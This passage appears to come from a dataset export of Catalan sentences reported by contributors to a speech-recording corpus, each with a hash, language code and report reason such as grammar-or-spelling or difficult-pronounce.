Califòrnia. 339a7738f0876f1549ed8f64803540984a3f7fe93bb534389ecd7b58a7a75e8d ca grammar-or-spelling En el cas de tutorial hi ha, a més, una substantivació posterior. 338f935862207c79fad1d68f50ead30ceb2e7a30497c17df36e31d0b9c2ce9d0 ca grammar-or-spelling Com que no queda molta guita a l'empresa, pues... 1163843a0168d6ac4ef50a44d3b780b19546b05339493df5113b32dab7346610 ca grammar-or-spelling Més o menys el mateix que to cope. 33b89a71e4f1c1c12720047501e371cbeb60cf972faedd47676fe41b44ae9171 ca grammar-or-spelling Vuitanta-set per cent Honestament tenc molts dubtes de si hem avançat o no. 33b9bf8bab3cfadc381f4c34c4c5cd9097dd91873886ac1659e6649af8f9f6cb ca no s'entén Un home aspirant el pelatge que es desprenen d'animals peluts. 33c15d094edd5e8d3a5854c5430555a16708dc589b7ea48110da53587386f853 ca grammar-or-spelling La Bodens Performing Arts School, aka Bodens, es troba a East Barnet. 33cacc40c2de413e8f54c604e315f619772b4de0a82cbd3f0e01567a2f399e0d ca different-language Vull anar a Capolat amb trasport públic. 33b52ce356a8ffae4998f30b57e18521004e50d7eed5a69ebfbe8f7fb9cfc8d0 ca grammar-or-spelling Vull anar a Capolat amb trasport públic. 33b52ce356a8ffae4998f30b57e18521004e50d7eed5a69ebfbe8f7fb9cfc8d0 ca Error repetit en moltes frases: trasport per transport Els nadius americans no van tenir èxit i va patir moltes morts. 33c929152c4b7587608dcc66d484f8baf7377f9a1f79b37d26db8c1180d289e2 ca grammar-or-spelling Com recompensa d'aquests fets d'armes va ser ascendit a tinent general. 33d01129442c9a6d601a18042e749207f2ce0877c13741e378709a4669e4d184 ca grammar-or-spelling Els diners era un problema persistent per a Hilliard. 3401ad358d4c74e97aeaeb90101c6a6d9c2bddcf1aa4903a0db5464d9ddc31f0 ca grammar-or-spelling Viuen en Lodi, Califòrnia, i té dos fills. 3489538561cf9e8524ed74eda47f0747e564f9f2b7234a3157c862c49742d627 ca grammar-or-spelling Per poder consultar els serveis que va reservar necessitaré ell codi de la reserva. 3464ebdba72274741cb6fa2613e465da3c84c08a234c17dd285961848690354f ca grammar-or-spelling Com es fa per anar de la passeig de l'Escullera al carrer de Sèneca? 345ef29326582585a4095c02e311a715a6dca1a64f403e20617fd4565bb7d94a ca grammar-or-spelling De fet, aquests llançaments ha deixat cinc agents ferits. 348750bb11a3ba453be6674a4bf0ed68409fe54cded7a96daa31214ae7dc6db2 ca grammar-or-spelling Ho pagarà l'angelet a qui els dos fan bateria, tes de tanta porfídia. 34a72e68bc7433952dd9c35adedf6ae445afc5986e53613de39af60b39010fe3 ca grammar-or-spelling D'origen romànic, conserva un campanar d'estil llombard. 34a9582e613e89db6fd73356fbf9ac6e0dd927ccf8061e42e8a747a841834dcf ca grammar-or-spelling Poc després va ser promogut a Tinent-General dels exercits navals. 349c6a8169ccefef979510234471c5249a73025c4b5e7f292f2aa90ccd4319a8 ca grammar-or-spelling Jo mira espantat el Sr. Bucket. 35b3e02cb3c854fda86495b1dc0121b5ea29b0fd9e3b20791714d3ef8053544b ca grammar-or-spelling El joc no estructurar facilita la creativitat i la imaginació. 3564dce45b796a826c46fc28daf46b820f96640404bcc5f04f3083564339353f ca grammar-or-spelling Japó, Russia, Corea del Sud. 35c000a3233b53e3c337509768cf9e47122f80390988e13516d5c61671c062d9 ca grammar-or-spelling L'interior de l'edifici, a excepció de la botiga, conversa el conserva el caràcter modernista. 35d32900a51691b13f4ca12ca9a26e28ac05533aec0aefdf1eec5240ee35422f ca grammar-or-spelling Després a poc a poc va tornar a totes les monedes. 35dd519640cb5cfdefd4c7de1e909661d5e19fd9e669455c48f992160daff039 ca grammar-or-spelling L'interior de l'edifici, a excepció de la botiga, conversa el conserva el caràcter modernista. 35d32900a51691b13f4ca12ca9a26e28ac05533aec0aefdf1eec5240ee35422f ca grammar-or-spelling També hi ha un sistema anglès, si bé aquests és completament privat. 35cb00482b3b501310e5204e88ed046ae2c0bafdd02c55d34fbff0c29f202f83 ca grammar-or-spelling Avui no ha dormit al seu llit. 35fda10d360568ad9fa3de85d2f05f5fa27070518e5f8eb893b30d83a48076b6 ca No em deixa gracar No hi ha cap requisit mínim d'edat, però els passatgers han d'estar entre per pujar. 3637991b12ffbeac97e8d8f85b72acd503fae4bcb613ece4edce2dc86eaa6fd2 ca grammar-or-spelling Les veus de les cançons són par el cantant del grup Carles Caselles. 364735266dad7476ea71154dfe1a960041b1c2ce185e1a5150e98b4551aa881b ca grammar-or-spelling Dijous en Magí i na Damià iran a la Serra d'en Galceran. 36475ae8ab221aaff353ec8cf0131fa3e13385b68d9384be7d1b95654d3ed10c ca grammar-or-spelling He d'anar a Novelda amb tren dimecres a tres quarts de dotze. 363f5962018b6a1ce5faae7a305badede91c74fe251968e03493a01893a0f828 ca grammar-or-spelling La gran majoria d'aquests bacteris no són perjudicials per a nosaltres, i moltes són beneficioses. 3644e4abccbc50f4b996030e7eb164e07b05f3e78ceb266a44b02702f9df103d ca grammar-or-spelling No hi ha cap requisit mínim d'edat, però els passatgers han d'estar entre per pujar. 3637991b12ffbeac97e8d8f85b72acd503fae4bcb613ece4edce2dc86eaa6fd2 ca grammar-or-spelling Molts erudits han atribuït Shakespeare diversos poemes publicats anònimament. 361de9f6da481b8c6ee76560ff7e4c1c02c5a21fb27e0b07756edd2a79ac9861 ca grammar-or-spelling El vint-i-nou de febrer na Gal·la i en Maria iran a Sant Miquel de Fluvià. 365a9186c8059d9eecb9687300568daf43fbb5d98f628029103cf9c55b5b884b ca grammar-or-spelling Amb què està equipada el taller-botiga? 3676e65d253ee69f8994747950d87314af08f77a86daa17e2d5a5b9ca1d1bd83 ca grammar-or-spelling S'hi troba l'edifici de l'Ajuntament dos edificis amb porxo d'arcs rodons de pedra. 365b13d4c119f2457ee91a00c380c25d91d637c59acec9c562d8305a11d7f587 ca grammar-or-spelling Alice in Chains va fer servir part del seu treball artística pel seu àlbum "Alice in Chains". 3698abec24dd354d89f7b089c20c29355ca879760da07b983cdcc941ef49dac9 ca grammar-or-spelling Mònica Weisz Romero és una jugadora tennis taula nascuda a Sabadell. 3688c9a97c5b2f81287a60fa7568ba166a9db933a597fb93b5228ca8f5a99c41 ca grammar-or-spelling Desa el sis, zero, dinou, divuit, vuitanta-nou com a telèfon de l'Ikhlas Jorda. 36b1336d4a857f6c9f8da3e257ce1c12c358437b185618826d1b83759e26a5b7 ca grammar-or-spelling Propens que fotre-se'n del Iogui i de qui el vetlla. 36a9f9722f03a7abd2739d615589b7c5673f3faabdb69facda6317d077017caa ca grammar-or-spelling Era fill del normand Robert d'Aguiló i la seva esposa Agnès. 369df4e70cd3acb18ca8e9303a09e8d955c11a51e9c1a04456ee969d2262c5c3 ca l'expressió "assistent social" normalment s'evita, s'ha de dir integrador social, treballador social, educador social, treballador de serveis socials, etc., segons el cas Alice in Chains va fer servir part del seu treball artística pel seu àlbum "Alice in Chains". 3698abec24dd354d89f7b089c20c29355ca879760da07b983cdcc941ef49dac9 ca grammar-or-spelling Encerclant aquestes hi ha un bosc centenari esmentat pels historiadors de l'antiga Roma. 369b3a526229dd909d23388138d252761eb11e16624df1baf67390ce1207398a ca grammar-or-spelling Un dia, però, va posa la pota ben posada… En català. 370875eeb3083a3a9b2e7f613ccd465374f494e0765174b29473073bcb19798d ca grammar-or-spelling Entre les víctimes, l'hegumen Gabriel. 373f9f223400c478d807bd4d54dc7540ae1c07e5cf566eb8804eb76a3dda2854 ca desconec la paraula hegumen i no surt al dIEC Josep Guardiola i Puyol jiji barça va ser un del betis nascut a Manlleu. 376ccda692120773c2c721acf118030ea63349ea22588b8aadaafcd6b20fdefa ca grammar-or-spelling Juga al criquet, al golf i al hoquei. 375447bba24717afa8bc3ae3ea2eb2afca64a0707de5e9b28a396ef65b5636c6 ca grammar-or-spelling Els colibrís maragdes de Puerto Rico són molt territorials i defensen els territoris amb demostracions aèries molt intensos. 37554ce666e2a1f6ae018636e78a453750ab36d4c51766cbe9544df3a76d547f ca grammar-or-spelling Vaig trencar la relació i em el vaig mirar fredament. 372fc0192862ac5ed2b24205a3596f50975a5f63d4abfbd8048b73ca54b34591 ca grammar-or-spelling John sovint ha aparegut com músic i col·laborador en la seva feina més recent. 380e009c80b98859040f23b08419907c6a393867fe3bd6a349991d83b5be9ccc ca grammar-or-spelling Cook en el decurs de l'últim viatge completen el panorama. 3896144608fe0e1c1046350da1e78ebd85eda3bf50f50e0119e0d13d4ffacdd2 ca grammar-or-spelling Cook en el decurs de l'últim viatge completen el panorama. 3896144608fe0e1c1046350da1e78ebd85eda3bf50f50e0119e0d13d4ffacdd2 ca difficult-pronounce Dissabte n'Oriol i na Sança iran a la biblioteca. 38cde92263eed453405d4a546f521930b042dff957cab8e07ef68aaa8390a374 ca grammar-or-spelling Dissabte n'Oriol i na Sança iran a la biblioteca. 38cde92263eed453405d4a546f521930b042dff957cab8e07ef68aaa8390a374 ca different-language Divendres en Cesc i en Nel iran a Sant Miquel de Campmajor. 38b5c9c7179ea429f84cfff5076fb0c6343645ce576368773d158c272167d31d ca grammar-or-spelling Dissabte n'Oriol i na Sança iran a la biblioteca. 38cde92263eed453405d4a546f521930b042dff957cab8e07ef68aaa8390a374 ca grammar-or-spelling Les concessions d'ajudes de la Unió Europea es proporciona sovint a les companyies nadiues. 38fbba020613610376046586bdabf52ebac9a6b3ebd4cc25f1c7c2c5ddb4fa29 ca grammar-or-spelling Cent noranta-set primer era un dels sis companys eremites de sant Bru. 391dcf1c46d467e526fa7a7e8ff337c25352245c9ea3595ef0b4536e05ec8c01 ca grammar-or-spelling El deu d'agost na Laura i en Sam aniré al cinema. 3916bfd2ed55c53f7c6b0458a26d81c6000013d2135fd0ef694851c26fdfc502 ca grammar-or-spelling Algunes de les quals ha portat al cinema ell mateix o per altres directors. 3918584bc91dee05ce50f24ae8b4c9623d0024b05bbc4e3e4b56b96005a01b61 ca grammar-or-spelling El deu d'agost na Laura i en Sam aniré al cinema. 3916bfd2ed55c53f7c6b0458a26d81c6000013d2135fd0ef694851c26fdfc502 ca grammar-or-spelling Les concessions d'ajudes de la Unió Europea es proporciona sovint a les companyies nadiues. 38fbba020613610376046586bdabf52ebac9a6b3ebd4cc25f1c7c2c5ddb4fa29 ca grammar-or-spelling Les larves alimenten de roure pènol. 393121fdd027236dc26ea893e751c43480425faa72272e3fb57c2115afa97bd0 ca grammar-or-spelling Dolors Puig i Gasol és una poítica i professora nascuda a Terrassa. 39a71dd2d2074b0fff04d8d2083e295c25fa8cacd96d3233ccb4e68504cd881d ca grammar-or-spelling Tot eren millors del que m'esperava. 39a5825b4817297464fd17ba3c902b2fdfcbc6eecbad5efc4cc68f9ed22b9311 ca grammar-or-spelling Es pot dir que els elements formals té un aire clàssic. 398f67626bbbc71a1e568f865954703f242d78cd44c2d46a4960e4fcd4d1b871 ca grammar-or-spelling Fou construïa als mateixos anys que la casa Adell per membres de la mateixa família. 39b46a9caf893dfbf2469ebd125aa7715e17c8db1ab8b9649d013476e032537f ca grammar-or-spelling La majoria de la gent del lloc encara para d'aquesta via fèrria com la "Santa Fe". 39de3a76be11f8325a058ad2782b67ad696d04d5297b070ced966df016cf16f2 ca grammar-or-spelling El meu número es el sis, quaranta-cinc, noranta, dinou, cinquanta-nou. 39e1c1525212548583e785b97c6ca1a1bb89bbd597e72cec4cf55c91f4481451 ca grammar-or-spelling Després la ciutat i regió va perdre tota importància. 3a00964db9d9adda00b5c8a7ba8be03316072567ae6c9ad4b0cc60ed41860129 ca grammar-or-spelling Tanmateix, la República Txeca finalment va perdre per en la regla d'or del gol en el temps addicional. 39e867c99ea5fcc2c9d5bb25768c333fb59a2f08c84684a3bb1a8522735c75ea ca grammar-or-spelling Los notícies de la conquesta d'Acre van arribar a Damasc i el Caire. 3a1ba1296aa64f9eb2cd98b6484bb1c542090e93d83d817be1c32ac0abc9e16d ca grammar-or-spelling Els actor són Piu-piu, Sister Cuckoo i els seus estudiants de Triad. 39ffff9fdc2013d49664a0ade42e37b5b052cf79a320229231db48d16f45bb8c ca grammar-or-spelling A més de la seva banca i bases de finançament, jersei també depèn del turisme. 3a3045e94b02314a9f4220beb3efcb95ee87171bc7ead970814a926f4b00a57f ca grammar-or-spelling Si és un noi, no més et tinc de dir una cosa. 39fb852dc6222f417d9b3be628b33027d7bcb67d3b35536a1b3f30ec649992f7 ca grammar-or-spelling Si és un noi, no més et tinc de dir una cosa. 39fb852dc6222f417d9b3be628b33027d7bcb67d3b35536a1b3f30ec649992f7 ca grammar-or-spelling Tènia dues fileres de dents diferents, serrades i planes. 3a743bcc6f5f9916fc4bbd2705a17408970599cb04308f8a6b23b450283355de ca grammar-or-spelling Que costa el servei? 3a6780edba1f45e91ea139313d1d98dd6ae105cd550ef482c51289ffde280750 ca grammar-or-spelling Va escriure vint-i-tres obres, algunes sobres dificultats lingüístiques a l'Alcorà. 3a7390c996d25c851fe0a95d2531957703344390cb2a0f66f72caa1c87c0d292 ca grammar-or-spelling Al final de l'Antic Imperi, el desenvolupament de l'administració comportar l'aparició d'una casta d'escribes. 3a8f23290d6751d5d57bc2dad7bcaf2de931ecd0c64ddfff173dd5f1fea0b31b ca grammar-or-spelling El seu germà Lee també era jugador de futbol, principalment amb el rival de Newcastle, Sunderland. 3a978015dc28c2943706368a5220e9fd7e210b742a6e70c59af8327a372f0e10 ca No se m'activa l'accés al micròfon Més tard, la ciutat va caure en roïnes i amb ella també va desaparèixer diòcesi. 3b13407ce27b1da6ef38bcaa6a5ae6a6a5938c17081479d0712a0bc10251f745 ca grammar-or-spelling El fou fortificada i fou una estació de correus principal entre Egipte i Damasc. 3ab1ae6c4a80fba2e49edde77f0e4f204d1ba8a39eeb318c900034c588059a5e ca grammar-or-spelling Per intuïció, sabia que esperar-se. 3b13c0ff2417350b35a5b295c35f72a813bac8aea6b995c8259c443b624eb32b ca grammar-or-spelling L'entrellaçat depèn de el joc. 3b3a02ff657eec6d883432c5695a9d6bd89478075b6b3e082d0a7f2472b02922 ca grammar-or-spelling Va viure en perpetua aprensió d'aquell quart de la brúixola. 3b22564bd088d8ddc9e13fbf7312787aac0c9774f21b0767cd190d21893f00bc ca grammar-or-spelling Que cal que porti a la visita? 3b3f10186c0b6b5d79ec75a4dc6efcc002321d4d6d7420af7cc58369a99e8a60 ca grammar-or-spelling Dimarts na Damià i en Genís voldrien anar a Solsona. 3b52703cd257bf5545575ed6c8edcecced97430b8e30177c2fe2fc538b85b821 ca grammar-or-spelling Totes dues empreses són ara propietat de la mateix grup. 3b75fdb99e1f712ea7bf05c974f4b288c0a0f263d0b8ca4b68fa63f828951451 ca grammar-or-spelling El mandat de Johnson a Miami no va estar a l'altura de les expectacions. 3bf23387baef6c3b1d9e74fdcd29e391d5cba85b934648c165a20114b0c56feb ca grammar-or-spelling L'oncle Canut s'aixeca. 3c027b96435a48a86cb5ea8fe8e9ad3bf6be67a093eff7c0e700727ed1c5ed02 ca grammar-or-spelling El cos o substància corpòria és, alhora, és considerat matèria. 3c22516fb488830c73e25cd923d601d3e53ca1f4fe23080be07ebeb50ff4faaf ca grammar-or-spelling La flota holandesa, ja no amenaçat, va marxar sense disparar un tir. 3c0cb41bb7131fa8e8786688d7ed611c324ec1eca6c6e396a21cb75746e03fbf ca grammar-or-spelling Es conserven al voltant de setanta. 3c2922e7d08f213db2c5e7537bdc9eb7d3c05a490d6797bf8bc9275ee100e324 ca grammar-or-spelling La segons es va enfocar en oferir solucions de telecomunicacions per a governs i empreses. 3c29fd3d2db1fff79c00d59ed04134a1d8f1947439983a4d433ddc0e9d0959ac ca grammar-or-spelling Abans del "facelift" contra amb el "facelift". 3c2eebc52ad82d2077acb070e76b173d581ac3c9c20363adaac6abd5bf14b0a7 ca grammar-or-spelling He d'anar al Far d'Empordà amb trasport públic demà passat a un quart i mig d'onze. 3c1e333c0c4d537398cacc65d48f55b7e09808b3e88b03f56a41bc407b9e6713 ca grammar-or-spelling La segons es va enfocar en oferir solucions de telecomunicacions per a governs i empreses. 3c29fd3d2db1fff79c00d59ed04134a1d8f1947439983a4d433ddc0e9d0959ac ca grammar-or-spelling El pedró és abandonat des de fa molts de temps i es desconeix l'origen. 3c274ff45a081e09b09564e03ffc7a8f62a8b1974cddde64773e09c672d8f3cc ca grammar-or-spelling "Massey" i es va dirigir immediatament cap a la nau afectada a tota velocitat. 3c0ec4c14fc5f31973ef03e64b77ff19ed62e9fba68301ac5166126c7a28dfca ca grammar-or-spelling És important que tothom, especialment les petits, puguin participar al futur d'Internet. 3c5f0ac882e9052707c04073473aae5c4c498628be4edeb3557154ba9f8c1ec9 ca grammar-or-spelling als ciclistes de btt els hi dona molt l'aire. 3d667a940085defe0b3aee743f5d6bfe554dc808cbe7af5ff3baa5f977fb83a5 ca grammar-or-spelling als ciclistes de btt els hi dona molt l'aire. 3d667a940085defe0b3aee743f5d6bfe554dc808cbe7af5ff3baa5f977fb83a5 ca Els dona molt l'aire és un calc del castellà Va tenir tres criatures del seu primer matrimoni. 3d60edccd5fdb7396e4f9664c5ddb92d96d207f507bd82c81b5d7e4eb0201ece ca different-language Va tenir tres criatures del seu primer matrimoni. 3d60edccd5fdb7396e4f9664c5ddb92d96d207f507bd82c81b5d7e4eb0201ece ca Gravats és un calc del castellà, en català en diem enregistrats Estudià en l'Acadèmia de Música de la seva ciutat natal. 3d6e37935c124564eb262dff43799806014479acd2673b42bc95031dd4396d37 ca grammar-or-spelling Des de llavors va viatjar per tota Europa. 3d38864502d3dcdf36e8940c416570c5ef5fb1b8134812bf7b5021e880bc4ad9 ca grammar-or-spelling En aquest moment ja havia estat rei durant quaranta anys, i governaria durant altres cinc. 3d3de4ffc542cfffd7caa27be2351703ef0646669fad4e3f853a6ae61bdd5e50 ca grammar-or-spelling El Libertador de Puerto Rico, era un líder militar porto-riqueny. 3d6da0b443c47d42f745343f4504ddd2377b689e26d94164423e41c3580d9252 ca grammar-or-spelling ¿Què t'han donat encantàries? 3d7665a9e72749bd476e89b6e8b55a00b086fe12d4450d227039333be36b8f03 ca B Enamorat de Mèxic, el visità manta vegada. 3d73e1a77ab6fd518e457dd916cde7ccc597f1f07cc14f4696d549b6c669591c ca grammar-or-spelling El llum no estava encès, cosa que em sa semblar estranya. 3d600af4eeeb50afb813de8ad07b98e54b57af5a0fbb3f2f0d3edaeda8d211ca ca grammar-or-spelling També apareixen petits cràters al llarg dels bords nord i sud. 3d82e420d91ada1f58a32239d50ebc6669e5c58b2cd93ac95da8c5a08c009aad ca grammar-or-spelling -Veritat que sí? 3d817f38a84609c4ac5865b50f783fb4d6835d3990ccc1b4a89210997d311d1f ca different-language -Veritat que sí? 3d817f38a84609c4ac5865b50f783fb4d6835d3990ccc1b4a89210997d311d1f ca grammar-or-spelling -Veritat que sí? 3d817f38a84609c4ac5865b50f783fb4d6835d3990ccc1b4a89210997d311d1f ca Castellanisme Dilluns na Neida i na Queralt iran a les Useres. 3d833730bc63797abb740acd94f877de63edd7e3e093a286681434a5e6ac046b ca "iran" enlloc d'aniran? Jo frasege, llagotege, entendrisc, glapisc, esbotze, facilite 3d74c11e5d03d5955a76c8e7fbb4bc1cc205bf17b37feab29e61f03ff146f7b3 ca different-language El municipi comprèn els pobles De Haan, Klemskerke, Vlissegem i Wenduine. 3d19c9d5f78378611407e883d9dbef5072dcbb692464e9dc2e3d268639bd39fb ca different-language El municipi comprèn els pobles De Haan, Klemskerke, Vlissegem i Wenduine. 3d19c9d5f78378611407e883d9dbef5072dcbb692464e9dc2e3d268639bd39fb ca difficult-pronounce Jo rapinye, objective, solege, opte, pilote, perbull 3d8eab4e5a76cfc4ed95afd8d0e636268893710eadd3183ff83df20ecbd2f3be ca different-language En acabar la contesa va marxar a Perpinyà, on va morir poc després. 3cdf574211bf78b3a56a426b9f48939e3eaf917010c0b43189999eb2108a3e68 ca grammar-or-spelling Veus, el mestre no ens va presentat, llavors. 3d71464f20eb003440ebcd013fbb44ced53a26471669d4b59a2080ba8c3cdd93 ca grammar-or-spelling Per Cap d'Any en Mirt i en Bru iran a Camarasa. 3d9b7fa4fc0a1d6a3d6437f173bcea7278d8da14b35f89c658a7ac16b441648a ca grammar-or-spelling Diumenge na Joana irà al teatre. 3db8704cb83890b70ed7953847577f6e0751afeae67d033500d07c4079178801 ca grammar-or-spelling Demà na Clara i na Carla iran a visitar mon oncle. 3dc4e5b69e8e67a98449ef76e090d9817712d59111eac8ec8ed3baf8d57b787e ca grammar-or-spelling El vint-i-nou de febrer na Nit i na Cira iran a Museros. 3da598dde6dbc4fe843936ad8b99e9e9622f4bd66643c3ec8147578d67e970f4 ca grammar-or-spelling El vint-i-tres de maig na Clara i en Nil iran a Vimbodí i Poblet. 3dc511e56517687373a33a5ba9b9f35ff68162e6863cc22fe89bd86366a84b08 ca grammar-or-spelling Jo naufrague, marranege, milite, matinege, rutlone, sorolle 3d7d1e75b5a5fb3b572c49097179ac343242b26e08bca95ab1c516ad15eebbb8 ca different-language Dijous na Júlia i na Maria iran a Crespià. 3da3a42a26e00756ce929fa2ebefd0e4d683cceac0f2365b99cdaa3267ad335f ca grammar-or-spelling Una xarxa de flux de treball ben manejada i acíclica és sòlida. 3da622bfdb148e335215c7dd5db6f42dd05c6823ce773727a9ac9d89520793fb ca grammar-or-spelling La bandera, a l'impuls del vent, ondejava dalt de l'asta. 3da7c491de0b2be4958d3b19d3aa537a097c4de0cc09c1e6f1a942b2db74f942 ca grammar-or-spelling Can the Subaltern Speak? de Gayatri Chakravorty Spivak. 3dc6c3b09e057fc320f2e995bd7d4065865197c3251acf6f3582ad78c817a7ca ca different-language Tots elles han estat acusats de desordres públics. 3dc07705e9f6466752f0b84fdfbccb75e11c84608316e357f2c4814bc48a68e8 ca grammar-or-spelling Demà passat en Genís i na Joana iran al teatre. 3dc8d651aab2fc3424ef0082c2e35f2c981bb7c54250545b837b9fb7277fd4b3 ca grammar-or-spelling Can the Subaltern Speak? de Gayatri Chakravorty Spivak. 3dc6c3b09e057fc320f2e995bd7d4065865197c3251acf6f3582ad78c817a7ca ca grammar-or-spelling Can the Subaltern Speak? de Gayatri Chakravorty Spivak. 3dc6c3b09e057fc320f2e995bd7d4065865197c3251acf6f3582ad78c817a7ca ca different-language Demà passat en Genís i na Joana iran al teatre. 3dc8d651aab2fc3424ef0082c2e35f2c981bb7c54250545b837b9fb7277fd4b3 ca grammar-or-spelling Jo enumere, lesione, m'esplaie 3de3a850302d6de916ff6eba3e7642cdf18f9292a2cd29dceadeee908b6e66e5 ca different-language El vint-i-tres de maig en Bernat irà al teatre. 3decca9975413d25d772ab84628a8bf530a9b0b50a41959b1aae6f8ea1b1f49b ca grammar-or-spelling Demà passat na Sibil·la irà a Tiana. 3deea0b61cecdb870e8a5062178dbada96b0579e896b9774aeb6fcfa8509df74 ca grammar-or-spelling Hi ha algun lampista a la passeig de l'Escullera? 3df0bc826899dcd0209017e78f540ce17c67c765c14a8b5165493fec7358ddb0 ca grammar-or-spelling Low va estudiar a la Poly Prep Country Day School de Brooklyn i al Columbia College. 3dc090d347ed64aa7936c16a1ce4e408932bf44227c1dfafaabb12cfdeede32d ca difficult-pronounce Dijous na Lea irà al cinema. 3dd91980edb737d280e39a00bb7d4965be44499d1ca439a266bb7e6c036bae5e ca different-language Dijous na Lea irà al cinema. 3dd91980edb737d280e39a00bb7d4965be44499d1ca439a266bb7e6c036bae5e ca grammar-or-spelling Lower Saucon Township va notar la influència de Bethlehem Steel Company. 3ded44d658e847728a8366ad5d34fac08e20457f975ff4e9434ad1cda69393f6 ca difficult-pronounce El deu d'agost en Biel i na Gina iran a la platja. 3dcf94543c08445111477618a10c772892e898ba06c830a4827cc201bc7e9e1f ca grammar-or-spelling Dijous na Bet irà a Lludient. 3deee3b606c2d03bb598cba8d213aca33351ee8bba15af5b75c0316a881cccfe ca difficult-pronounce Dijous na Bet irà a Lludient. 3deee3b606c2d03bb598cba8d213aca33351ee8bba15af5b75c0316a881cccfe ca grammar-or-spelling Hi ha algun lampista a la passeig de l'Escullera? 3df0bc826899dcd0209017e78f540ce17c67c765c14a8b5165493fec7358ddb0 ca grammar-or-spelling El vint-i-nou de febrer en Grau i en Jofre iran al cinema. 3e08da8210827725645a0275df5c126cbec231fed35715a2fe52bb6d4a6d5b60 ca grammar-or-spelling Així s’emfatitza la seua existència i perillositat. 3e0fc01b8b5e05861c16f456e044b0f553cf67901c9003de8f2f878876a969f5 ca grammar-or-spelling El vint-i-tres de maig en Bernat irà al teatre. 3decca9975413d25d772ab84628a8bf530a9b0b50a41959b1aae6f8ea1b1f49b ca grammar-or-spelling D'origen probablement francés, es va estendre per la resta d'Europa. 3df23fcd9c1785e091cfaa4e8925a7033ee3e3e9470d745d62dc606e38cba38c ca grammar-or-spelling Durant el període intermedi també s'han produït moltes altres disturbis. 3e142822fb47726fdd47def5497262ba53068f1b3cd1589ceb13f53c535dd308 ca grammar-or-spelling El Dorsum Higazy de la Lluna porta el seu nom. 3e0f52994e08487b42317dcd067f739eb302c170a4c0df30d64b387cc5eb1a95 ca different-language El Dorsum Higazy de la Lluna porta el seu nom. 3e0f52994e08487b42317dcd067f739eb302c170a4c0df30d64b387cc5eb1a95 ca difficult-pronounce Els tipus de personatges es van dividir en quatre grups o "metaclasses": Warrior, Wizard, Priest i Rogue. 3e0f234992aa4fa8ef38d244d5c1a7590839ce09449b741eb8673c00ff702b6a ca difficult-pronounce El mateix Hughes els va seguir poc després. 3e1f9496762240f70e14d26c160910c147df797977bb66f8a94f66f0def15e7c ca difficult-pronounce Dilluns en Mateu irà a Sant Jordi. 3e0b38a9f89045e13daf679b1471d7e9a4f2e0c2168d6261b3f2326ed4f78bda ca grammar-or-spelling El vint-i-tres de maig na Cira irà al metge. 3dfb39765c6a2a6e26ec6a6c07f461c4e7b2a07cf57c4572e1ab7c807f2ffe15 ca grammar-or-spelling Per Sant Jordi na Duna irà a la biblioteca. 3df945c60bc268e9e60be32a52e2afbf7c35501bffa16fe2fd2afcc0fd766ee4 ca grammar-or-spelling Dilluns na Thaís i en Telm aniré a la biblioteca. 3e0c63b47cea4abebf2f6a002d2d3d011a59c424f944e9a81f7f471358120006 ca grammar-or-spelling Diumenge en Biel irà d'excursió. 3e22703a8efb51f72780e234d92ec11d559b73284f4bdacd94ba6c541e9c1434 ca grammar-or-spelling El nou d'octubre na Mariona i en Sol iran a Vilobí del Penedès. 3e03faeb6b073d6fdb9416b4ba7f3757541f0c76e38e2bc08e8f8eb287a83091 ca grammar-or-spelling Demà en Mateu i na Rita iran a la biblioteca. 3e09f6676fa3b72f1d89b9d8d1c8686cd756c3fbe6f506c4b1847424ff74747c ca grammar-or-spelling Divendres na Nina irà al metge. 3e0c426055e19e84ce90be91c96da55a09bc9b053ac06b050936399721aa102d ca grammar-or-spelling Per Cap d'Any na Cèlia i na Sara iran a Bolvir. 3dfb2e6c491c745e8b113ffd9efc8b2c1ace6940cb2a1f716ef31038b8ebd866 ca grammar-or-spelling El vint-i-nou de febrer en Cesc i en Nel iran a Inca. 3e261831a168831cede7b14db656e4e69b15934cae1760574334303ffd917aa5 ca grammar-or-spelling El vint-i-tres de maig na Damià i na Vera aniran a Sant Guim de Freixenet. 3e12eb86b5fdb7ac70366ddfde7a2e42ecd25296d666e91c46e551d9ffcc0ebe ca grammar-or-spelling Diumenge en Quer i na Duna iran a Duesaigües. 3df40ec4af4e28d7e0624b86a6f8c809f98c08af82f5b942c6c614bd3042cf72 ca grammar-or-spelling El vint-i-tres de maig en Quirze i en Pep iran a la platja. 3e27c5f67cd031b3237e872158532d8582c4f6838d1b53c9172dd992930705ca ca grammar-or-spelling El nou d'octubre na Queralt i na Sibil·la iran a Beniarrés. 3db6b0af7e20b8fcb697acd95f5830e644fef0c96cce9e342d55b37faba8a552 ca grammar-or-spelling Aquests expressen que Shruti, Smriti i Achara són fonts de jurisprudència i llei. 3e13b9b7afbb5a0fd56bbba2ea7619459ebd1b6ac9f747fa361a2b31341c4614 ca difficult-pronounce El deu d'agost en Maria irà a la biblioteca. 3dbac50bbc202952bdb771de78c35c55bda0e05506c7c980aadba3521f65ebff ca grammar-or-spelling Dissabte en Cesc irà al Pont de Vilomara i Rocafort. 3e2af274ef8375a197f8af5782701fc7ad44804342c34a7c7e12c2c6b1eb0374 ca grammar-or-spelling El vint-i-tres de maig na Neida i en Cesc iran d'excursió. 3e2be82195f375c6ff249fbb88925d093fa45c5b2c480678569650109c7f4ff8 ca grammar-or-spelling Demà passat en Mirt i en Bru iran a Rubí. 3e09c659ec3e2cceaef2b0ca2638a0c74c0c97c16ea4932b156658d1b9b532a2 ca grammar-or-spelling De jova, volia ser monja, pobreta 3e0aefd02a3b7226b48c61f63435430db885544fdd9391b0d8a8d788c245b533 ca grammar-or-spelling El vint-i-tres de maig na Nàdia i na Mira iran a l'Albi. 3e3a50802bd44cbedcef9e8d1fa33b18a9759e595c76272d8133d8ca14a84219 ca grammar-or-spelling Dimecres en Sam irà al teatre. 3e312e77b38b3ae2d4a1798627139d24ed6bbda93a419c12625e0d2f3aabe2d7 ca grammar-or-spelling Molts crítics ho consideren com el pare de Postmodernisme britànic. 3e22c6465dbbf50a68c1cb678737f02feee5a9bd20dcb06c68dbbb82b92ab95d ca grammar-or-spelling Això m'ha animat a buscar parelles en català-llatí. 3e58c6688fbaeaed7dc9c5ed7c2a7141c32f34c80561a94a341d818379e0243a ca No funciona Henry Ireton, va passar a assetjar Limerick. 3e4af4f51fde3f3f063d48bb8538b7b97d431e28f1c31c038285763e1aed88f6 ca difficult-pronounce El vint-i-tres de maig en Gil i na Frida iran a visitar mon oncle. 3e1cd8abe3e57058261b04c6bcb571d2549a94a5dc3fdc8be60db1a8f1ecddc2 ca grammar-or-spelling Més o menys al mateix temps, la peça de tancament 